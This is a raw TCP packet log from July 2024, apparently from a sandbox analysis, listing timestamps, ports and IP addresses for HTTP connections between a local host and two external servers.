Jul 27, 2024 12:01:17.400916100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.400964975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.400980949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401027918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401045084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401091099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401110888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401144028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401171923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401223898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401237011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401273966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401298046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401338100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401355982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401382923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401412010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401465893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401479006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401510000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401539087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401592016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401606083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401642084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401667118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401720047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401732922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401774883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401806116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401823997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401855946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401901007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.401931047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401948929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.401982069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402028084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402081013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402093887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402127981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402156115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402206898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402224064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402277946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402291059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402323961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402354956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402401924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402415037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402445078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402473927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402519941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402537107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402582884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402600050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402643919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402662992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402709007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.402728081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.402775049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.487665892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.487792969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.487843037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.487880945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.487905979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.487934113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.487987995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.488003969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.488038063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.488069057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.488120079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.515511036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.520385027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.708631992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.708702087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.708719015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.708751917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.708813906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.708863974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.708890915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.708920002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.708969116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709023952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709052086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709105015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709131956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709176064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709214926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709274054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709286928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709320068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709367037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709419966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709433079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709462881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709511995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709559917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709573030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709603071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709655046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709707975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709734917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709779978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709799051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709844112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709867001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709918022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.709930897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709969997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.709999084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710048914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710062027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710098028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710124969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710175037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710191011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710243940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710269928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710318089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710333109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710376978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710397005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710448027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710474014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710520983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710537910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710582018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710601091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710648060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710659981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710690022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710736036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710781097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710799932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710844040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710863113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710913897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.710939884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.710993052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711019039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711071968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711102009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711148977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711162090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711191893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711236954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711282969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711302042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711344957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711364031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711414099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711440086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711487055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711508036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711555004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711574078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711617947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711637020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711682081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711700916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711744070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711764097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711807013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711827040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711874008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711886883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711916924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.711946964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.711993933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712013006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712055922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712074041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712124109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712138891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712178946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712198019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712220907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712256908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712305069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712321997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712373972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712385893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712423086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712447882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712529898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712559938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712605953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712625027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712677956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712691069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712726116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712754011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712800026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712822914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712841988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712878942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712924957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.712944031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.712971926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713004112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713052988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713069916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713118076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713150978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713185072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713200092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713243961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713262081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713304043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713320971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713376045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713388920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713418007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713448048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713493109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713511944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713557959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713582039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713599920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713635921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713690042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713702917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713736057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713762045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713814020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713826895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713856936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713886976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713932037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.713953972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.713994980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.714019060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.714042902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:18.103615999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:18.103616953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:18.108804941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:18.108853102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:18.902194023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:18.902278900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:18.951477051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:18.956408978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:19.144104958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:19.144160986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:19.144192934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:19.144325018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:19.144325018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:19.146543026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:19.151563883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:19.333184958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:19.333410978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:19.336596012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:19.341598988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:19.341672897 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:19.341769934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:19.346745968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.086852074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.086925983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.086929083 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.086973906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.086982965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.087025881 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.087032080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.087075949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.087083101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.087122917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.087131023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.087169886 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.087177992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.087219954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.087227106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.087269068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.087275982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.087317944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.087323904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.087450027 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.094541073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.094609022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.094610929 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.094652891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.094656944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.094703913 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235167027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235229015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235234022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235281944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235300064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235349894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235397100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235399961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235399961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235512018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235560894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235560894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235577106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235622883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235673904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235673904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.235907078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.235974073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.236022949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.236022949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.236044884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.236098051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.236145020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.236148119 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.236148119 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.236267090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.236800909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.236870050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.236922979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.236922979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.236999035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.237049103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.237095118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.237095118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.237508059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.237560034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.237562895 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.237608910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.237637997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.237662077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.237709045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.237710953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.237710953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.237818003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.238497972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.238554001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.242032051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.242146969 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.383841991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.383892059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.383940935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:20.384033918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:20.384033918 CEST	49705	80	192.168.2.5	185.215.113.16
